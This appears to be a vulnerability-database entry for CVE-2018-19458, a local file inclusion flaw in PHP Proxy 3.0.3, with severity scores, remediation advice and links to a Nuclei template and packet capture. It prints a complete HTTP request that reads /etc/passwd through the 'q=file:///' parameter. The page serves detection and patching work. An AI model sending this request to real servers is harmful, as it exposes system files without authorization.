🔙 목록으로 돌아가기

CVE-2018-19458: PHP Proxy 3.0.3 - Local File Inclusion

TitlePHP Proxy 3.0.3 - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
RemediationUpgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.
CVSS Score7.5
EPSS Score0.79968
CVE IDCVE-2018-19458
CWE IDCWE-287
Tags cve cve2018 edb lfi proxy php-proxy vuln

🔍 Vulnerability Description

PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).

🌐 HTTP Request

GET /index.php?q=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19458.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-19458.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A